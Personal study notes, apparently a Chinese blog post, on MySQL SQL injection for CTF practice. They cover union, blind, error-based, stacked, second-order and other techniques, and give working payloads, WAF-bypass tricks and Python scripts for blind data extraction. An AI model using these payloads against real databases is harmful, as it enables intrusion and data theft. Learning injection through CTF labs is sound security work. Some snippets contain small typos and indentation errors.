学习笔记——从头学sql注入

一直以来做着sql注入的题,但除了简单的注入比较熟悉以外其他类型的方法以及bypass技巧都一直没有长进。盲注也是自己嫖脚本的次数比亲手写要多。可能是因为自己没有系统学过sql基础知识,导致只会生搬硬套。又也许是因为没有做过系统的总结,或者是因为遇到的题目太少,或是遇到不会做就落下了......总之,现在要从头开始学一遍sql注入,重新接触这常年位于漏洞之首的巨头吧。
(至少sqli-labs要重新做下了)

先把参考的dalao们的笔记贴一下,感谢他们辛苦做出的整理:
郁师傅推荐的,smi1e的blog:https://www.smi1e.top/sql%E6%B3%A8%E5%85%A5%E7%AC%94%E8%AE%B0/
sky师傅的blog:https://skysec.top/2017/07/19/sql%E6%B3%A8%E5%85%A5%E7%9A%84%E4%B8%80%E4%BA%9B%E6%8A%80%E5%B7%A7%E5%8E%9F%E7%90%86/
CHYbeta的blog:https://github.com/CHYbeta/Web-Security-Learning#sql%E6%B3%A8%E5%85%A5
mysql注入天书(从学习交流群里嫖来的......)
等等

以下皆是基于常见的mysql,除此以外的mssql,postgresql,mongodb等等在CHYbeta的github上可以找到

基础使用

sql注入的原理在我个人看来,主要是恶意语句的插入。当过滤不彻底,或者根本没有过滤时,我们的语句通过拼接,或者是经过处理后,在服务器解析并执行,达到攻击的效果。

那么先来看看在sql中常见的函数或符号吧吧:

user() :当前使用者的用户名
database():当前数据库名
version():数据库版本
datadir:读取数据库的绝对路径
concat()/concat_ws():多个字符串连接成几个字符串
group_concat():连接一个组的所有字符串,并以逗号分隔每一条数据//常见于注入

//常见于布尔盲注
length():返回字符串的长度
substr():截取字符串
mid():截取字符串
ascii():返回字符的ascii码

//常见于时间盲注
sleep(): 函数延迟代码执行若干秒

//用于注释的符号,或者效果等同于注释的
#
--+
or '1'='1//闭合单引号
or ''1'' =''1 闭合双引号,以此类推

在进行注入前,首先是确认注入点的存在。其中有无回显,回显为何都是重要的用于判断我们注入类型的依据,之后才能根据类型进行注入方式的选择。

常见的几种注入方法:

一.联合注入

联合注入的特点在于使用了union,需要注意的是union后所接的select 语句列数要相同。
使用联合注入时必然需要注意这是有回显的,且我们需要先判断字段数以及具体回显的字段是哪一个。
先试用order by来判断。这里假设是三个字段以及回显的是第二个字段。

order by 3#

order by可能会面临过滤‘or’时恰好被限制的问题,此时可以使用group by替代。

爆库

union select 1,databse(),3#

爆表

union select 1,(select group_concat(table_name)),3 from information_schema.tables where table_schema=database()#

database()也可使用schema()代替
爆列

union select 1,(select group_concat(column_name)),3 from information_schema.columns where table_name='表名'#

这里的表名当然也可以不用直接名称,转而使用16进制代替。

二.盲注

1.布尔盲注

布尔盲注,顾名思义返回值能确认的只有布尔值true or false。也就是我们只知道正确与否而不知具体数值。
但正因我们可以确定注入的正确与否,我们就可以用逻辑判断来进行注入
盲注的几种手法:
1)left()函数,left(a,b)从左侧截取 a 的前 b 位
使用方法:

left(database(),1)>’s’ 

2)ascii()+substr()函数
ascii()不必多说,
substr():substr(a,b,c)从 b 位置开始,截取字符串 a 的 c 长度
使用方法:

ascii(substr((select database()),1,1))=98

最适合写脚本。其中只有第一个1与等号后的数字需要设为变量。
3)regexp()正则判断
regexp()就是正则匹配,看起来也十分简洁。
使用方法:

select user() regexp('^ro')

返回布尔值1 或0.

显然在一无所知的情况下,使用第二种布尔盲注方法一个个字符的爆出结果是合乎情理的。但人手直接测还是麻烦的,因此需要写脚本来爆破。
大致脚本模板如下:

import requests

url=''
flag=''
for i in range(1,40):
    a=0
    for j in range(32,128):
        payload="1' or ascii(substr((select flag from flag),{0},1))={1}#"
        data=payload.format(i,j)
        res=requests.post(url,data=data)#data依据可注入点而定
        if 'abc' in res.text:#此处依照正确的回显内容而定
           flag+=chr(j)
          print(flag)
          a=1
    if a==0: break

一个简易的布尔盲注脚本大概如上。

2.时间盲注

时间盲注相比布尔盲注更加困难,因为其返回值永远只有一个,且没有注入回显信息。
关键函数除了上面布尔盲注就已提到的ascii()+substr()就是sleep()if()函数了
用法:
sleep(a)直接把程序挂起a秒
if(a,b,c)如果第一个参数正确,执行第二个参数,否则执行第三个
直接贴脚本模板吧:

for i in range (1,30):
    print(i)
    a=0
    payload="1' or select if(ascii(substr((select flag from flag),{0},1))={1},sleep(3),1)#"
    for j in range(0,128):
        data={'username':payload.format(i,j),'password':'123'}
        try:
            result=requests.post(url,data=data,timeout=3)
        except requests.exceptions.ReadTimeout:
            flag+=chr(j)
            print(flag)
            a=1
            break
     if a==0: break

时间盲注脚本大抵如上。

三.报错注入

报错注入的原理在于把所需要注出的信息通过报错信息返回来。方法也有多种
1.floor()函数
其使用为floor(rand(0)*2),而具体上使用还要联系group byconcat()

select count(*) from information_schema.tables group by concat(version(), floor(rand(0)*2))

这里concat(),floor(),group by缺一不可。且数据表需要三条及以上数据才能报错。故确实太局限了。
2.updatexml()函数
直接贴用法:

updatexml(1,concat(0x7e,(select @@version),0x7e),1) 

如果亲自用过报错注入,就知道中间的0x7e并没有什么用。实际上就是~符号的16进制,方便分割而已。中间所需的结果被转成字符串后因为不符合XPATH格式从而报错。
3.extractvalue()函数
与上面大抵相同。只不过只有两个参数

extractvalue(1,concat(0x7e,(select @@version),0x7e))

但是存在一个小细节,那就是这个方法只能爆出32位。之前在ichunqiu的XSS平台这道题中使用了报错注入,有个小问题就是当时的内容过长一次性爆不完。因此引入一个mid()函数。每次爆一部分即可。
用法大抵如下:

' and extractvalue(1,concat(0x5c,mid((select group_concat(username,'|',password,'|',email) from manager),29,60))) --

再补几个RCTFEasySQL学到的新知识

byc"||(updatexml(1,concat(0x3a,(select(reverse((group_concat(column_name))))from(information_schema.columns)where(table_name='users'))),1))#  
byc"||(updatexml(1,concat(0x3a,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),1))#

假如回显字数有限,里面存在干扰的数据,且过滤了substr与mid,left等函数呢?这时别忘了还有regexp,由于它在布尔盲注中就能起到截取字段的效果,因此在这里也可以起到相同的效果,还起到无视干扰数据的效果。
或者使用reverse将查询结果逆序输出,解决字数问题。

进阶注入

当然,以上只是所有sql注入中最普通的方法。但我个人认为其他类型的注入都只是在这之上增加waf等等限制,其解决方法还是得以上面的联合注入,盲注,报错注为主。为了应对各种限制,也诞生了许多的bypass技巧。我当然不可能全部收集完全,但是还是得把最近新学到的,可能算是比较进阶的类型及方法整理下:

工欲善其事必先利其器,首先先把常见的waf以及相应的bypass技巧梳理下:
1.注释符 绕过

//, -- , /**/, #, --+, -- -, ;,%00,--a

其中为了绕空格常用/**/

2.大小写绕过

Union/**/SelEct

3.内联注释绕过

id=1/*!UnIoN*/+SeLeCT+1,2,concat(/*!table_name*/)+FrOM /*information_schema*/.tables /*!WHERE */+/*!TaBlE_ScHeMa*/+like+database()-- -

4.双写绕过

1 uniunionon selselectect flag from flag

主要是应对低级waf

5.编码(ascii/16进制/url编码)
这个方法就比较经典且高级了。也常常见到过,比如%23#
包括常见的16进制。
以及用chr()+chr()+chr()形式的绕过。

6.面对空格
空格被过滤是常有的,而除了常见的/**/ ,+,一些技巧外,我们可行的用于绕空格的方法主要是:

%20 %09 %0a %0b %0c %0d %a0 

还可以利用括号来省空格。因为可计算结果的语句都可用括号括起来。比如:select user() from可以化作select(user())from

7.同效果函数

sleep()<==>benchmark()
concat_ws()<==>group_concat()//还是有区别的,但是效果一致
mid()、substr() <==> substring()

以及面对常常过滤的 and or 直接用&& ||
很多师傅脚本都直接用这些替代了使用and ,or的习惯。

附上smi1e师傅博客里找的图。
绕过

接下来就是一些最近接触的或者是比较进阶的注入类型了,有的应该会是一段时间的热门吧。

堆叠注入

了解到堆叠注入主要还是得靠swpuctf的web4。这道题硬要说的话还是给了我很大收获,那就是利用16进制加mysql预处理来解题。目前我觉得常规的waf这种做法是都可以应对的。
比如为了验证这个道理,我在buuoj上找到了另一道堆叠注入题强网杯2019——随便注。我看网上大部分人的paylaod都是骚姿势:

先把 words 改名为 words1,再把这个数字表改名为 words,然后把新的 words 里的 flag 列改为 id (避免一开始无法查询)

好麻烦啊......但是用从swpu那学来的方法:

set @a=0x{0};PREPARE ctftest from @a;execute ctftest;

这个模板简单多了,题目5分钟以内就能搞定。


flag

回头整理下堆叠注入的使用条件。首先得声明,堆叠注入的使用条件十分有限,因为大部分sql语句并不支持一次执行多条命令。从源码角度讲就是使用了mysqli_ query()函数。而只有使用mysqli_multi_query()函数时,才会出现堆叠注入的可能。具体FUZZ时如果注意到分号的使用回显是正确的,就可能存在堆叠注入。

二次注入

所谓二次注入是指已存储(数据库、文件)的用户输入被读取后再次进入到 SQL 查询语句中导致的注入。因此它是存储型的利用。在第一次进行数据库插入数据的时候,如果仅仅只是使用了addslashes 或者是借助 get_magic_quotes_gpc 对其中的特殊字符进行了转义,那么在写入数据库的时候还是保留了原来的数据,但是数据本身还是脏数据。可以让我们进行再利用。

比如在注册界面,如果我们注册一个名为 admin'#的用户,并登录进去。这时修改密码时,我们无需admin的密码即可修改admin的密码。因为之前的注册已经往表里插入了新数据,也就是admin'#,而修改密码时,语句为

UPDATEusers SET PASSWORD=’22′ where username=’test’#‘ and password=’$curr_pass’

也就绕过了密码的要求。

后续找到合适的题目会再贴里面。
补:
CISCN2019 CyberPunk(二次注入触发报错)

无列名注入

在上一篇文章总结过了。这里就贴下方法吧。

select `4` from (select 1,2,3,4,5,6 union select * from users)a;
select b from (select 1,2,3 as b,4,5 union select * from users)a;

join注入

1’ union select * from (select 1) a join (select group_concat(table_name) from information_schema.tables where table_schema=database()) b%23

join的使用主要是应对着过滤逗号的情况,之前bugku上做过就叫Insert into注入。
假如用到盲注的话

select case when (条件) then 代码1 else 代码 2 end;

其效果相当于sql中的if,比如在进行时间盲注时:

if(substring((select user()) from {0} for 1)={1},sleep(5),1)

相当于

select case when substring((select user()) from {0} for 1)={1} then sleep(5) else 1 end

无information_schema注入

同样是在swpu 的web1中学到了这个应对bypass information_schema的可能方法。不过有版本要求。使用
sys.schema_auto_increment_columns
代替
实际上比较常见的是下面的这种,但都需要mysql5.7以上版本:

MySQL 5.7之后的版本,在其自带的 mysql 库中,新增了innodb_table_stats 和innodb_index_stats这两张日志表。如果数据表的引擎是innodb ,则会在这两张表中记录表、键的信息 。

如果waf掉了information我们可以利用这两个表注入数据库名和表名。
还有冷门的,

$schema_flattened_keys
sys.schema_table_statistics;

而且一旦出现不能使用information_schema.tables的情况,通常也得不到information_schema.columns的列名情况了。所以说之后直接使用无列名注入即可,不需要去刻意获取列名。

宽字节注入

宽字节注入算是我最早接触的sql注入了。cg-ctf上GBK-Injection就是这个类型
http://chinalover.sinaapp.com/SQL-GBK/index.php?id=1
之前我也写过wp
https://www.jianshu.com/p/b9ccf447c152
这是基于程序使用GBK宽字符集的前提下的。通常使用sqlmap都可以跑出来吧。

大抵这么多。其实肯定还有遗漏的,但先写这么多,日后再补充吧。

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 159,015评论 4 362
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 67,262评论 1 292
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 108,727评论 0 243
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 43,986评论 0 205
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,363评论 3 287
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,610评论 1 219
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,871评论 2 312
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,582评论 0 198
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,297评论 1 242
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,551评论 2 246
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,053评论 1 260
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,385评论 2 253
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 33,035评论 3 236
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,079评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,841评论 0 195
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,648评论 2 274
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,550评论 2 270

推荐阅读更多精彩内容

  • 最近两周刷了一下sqli-labs,对sql注入有了一个基本的认识。这里写个总结。 1.sql注入原理简单介绍在一...
    jun123123阅读 1,304评论 1 3
  • http://192.168.136.131/sqlmap/mysql/get_int.php?id=1 当给sq...
    xuningbo阅读 10,145评论 2 22
  • sqlmap用户手册 说明:本文为转载,对原文中一些明显的拼写错误进行修正,并标注对自己有用的信息。 ======...
    wind_飘阅读 1,945评论 0 5
  • less-1 这一题是get型注入,先用单引号,双引号,来判断是否存在注入点。 可以看到报错信息中' '1' ' ...
    Emily0917阅读 904评论 0 0
  • 3.1.1 注入分类   SQL注入是一种代码注入技术,用于攻击数据驱动的应用程序。 在应用程序中,如果没有做恰当...
    最酷的崽_ec69阅读 413评论 0 0